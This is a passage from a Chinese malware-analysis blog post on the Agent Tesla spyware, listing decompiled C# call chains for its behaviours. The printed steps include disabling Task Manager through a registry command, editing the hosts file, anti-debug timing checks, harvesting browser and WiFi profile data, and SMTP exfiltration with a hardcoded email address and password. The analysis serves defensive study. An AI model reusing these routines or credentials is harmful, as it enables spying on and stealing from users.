ManagementClass(“Win32_NetworkAdapterConfiguration”)---->managementClass.GetInstances()---->instances.GetEnumerator()---->enumerator.MoveNext()---->managementObject = (ManagementObject)enumerator.Current---->Conversions.ToBoolean(managementObject["IPEnabled"])---->managementObject["MacAddress"].ToString()---->text.Replace(":", string.Empty) ``` MD5 加密: ```php qtc.ComputeHash(Encoding.UTF8.GetBytes(qtv))---->new StringBuilder()---->stringBuilder.Append(array[num3].ToString("x2"))---->stringBuilder.Append("-")---->stringBuilder.ToString().ToUpper() ``` 获取系统用户名,计算机名,本地路径信息: ```php SystemInformation.UserName + "/" + SystemInformation.ComputerName---->Environment.GetEnvironmentVariable("%startupfolder%") + "\%insfolder%\%insname%"---->Assembly.GetExecutingAssembly().Location ``` 以线程模式运行禁用注册表的函数: ```php new Thread(new ThreadStart(kqb.koy))---->thread.IsBackground = true---->thread.Start()---->Interaction.Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.NormalFocus, false, -1) ``` 操作 HOST 文件: ```php Environment.GetFolderPath(Environment.SpecialFolder.System)---->folderPath + @"C:\Windows\system32\drivers\etc\hosts"---->streamWriter.Write("/r/n127.0.0.1" + array[num6])---->streamWriter.Dispose() ``` 检测时间间隔来反调试: ```php new System.Timers.Timer()---->timer.Elapsed += kqb.kdv("这是一个函数",if (checked((int)Math.Round((double)(Environment.TickCount - kqb.zfs.dwTime) / 1000.0)) > 600))---->timer.Enabled = true---->timer.Interval = 30000.0---->timer.Start() ``` 批量浏览器操作: ```php Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)---->list2.Add(new qeb(“浏览器名”, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "浏览器默认路径,相对的"), true)) ``` 生成随值外加一些运算打乱浏览器数组顺序: ```php new RNGCryptoServiceProvider()---->NewLateBinding.LateCall(instance2, type, "GetBytes" , arguments, argumentNames, typeArguments, array2, true)---->Operators.ModObject(NewLateBinding.LateIndexGet(instance, array, null), obj2)---->Operators.SubtractObject(obj2, 1) ``` 开启线程,查看 wifi 配置文件: ```php new Process()---->ProcessWindowStyle.Hidden---->process.StartInfo.FileName=netsh---->process.StartInfo.Arguments="wlan show profile" ``` 使用 WMI 获取 CPU 信息: ```php new ManagementObjectSearcher("SELECT * FROM Win32_Processor")---->managementObjectSearcher.Get().GetEnumerator()---->(ManagementObject)enumerator.Current---->managementObject.GetPropertyValue("Name").ToString() ``` 发送邮件: ```php new SmtpClient()---->new NetworkCredential("dir.fb@tolipgoldenplaza.com", "Golden@#$2019")---->new MailAddress("dir.fb@tolipgoldenplaza.com")---->new MailAddress("dir.fb@tolipgoldenplaza.com")---->new MailMessage(from, to)---->smtpClient.Send(mailMessage)---->mailMessage.Attachments.Dispose() ``` 0x06 参考链接: ========== [Agent Tesla样本分析\_Y0ng.的博客-CSDN博客](https://blog.csdn.net/YANG12345_6/article/details/119538642) [Agent Tesla商业木马来袭,印度地区首当其冲 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/383258609) [揭秘Agent Tesla间谍木马攻击活动 - FreeBuf网络安全行业门户](https://www.freebuf.com/articles/terminal/223968.html) [AgentTesla变种分析\_Iam0x17的博客-CSDN博客](https://blog.csdn.net/weixin_44001905/article/details/108309634) [技术讨论 | Windows 10进程镂空技术(木马免杀) - FreeBuf网络安全行业门户](https://www.freebuf.com/articles/system/173532.html) [Windows计划任务的进阶 | AnonySec'Blog (payloads.cn)](https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html) [\[原创\]样本分析记录(二)(特斯拉样本(关于C#如何调试dll又从dll中释放exe的))-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com](https://bbs.pediy.com/thread-264133.htm) [windows之schtasks设置计划任务\_Franchi小白帽的博客-CSDN博客](https://blog.csdn.net/baidu_38844729/article/details/115763179) [如何使用命令提示符禁用或启用任务管理器-百度经验 (baidu.com)](https://jingyan.baidu.com/article/363872ec349b212f4aa16f20.html)
发表于 2022-09-01 09:45:51
阅读 ( 5567 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
沐一·林
20 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!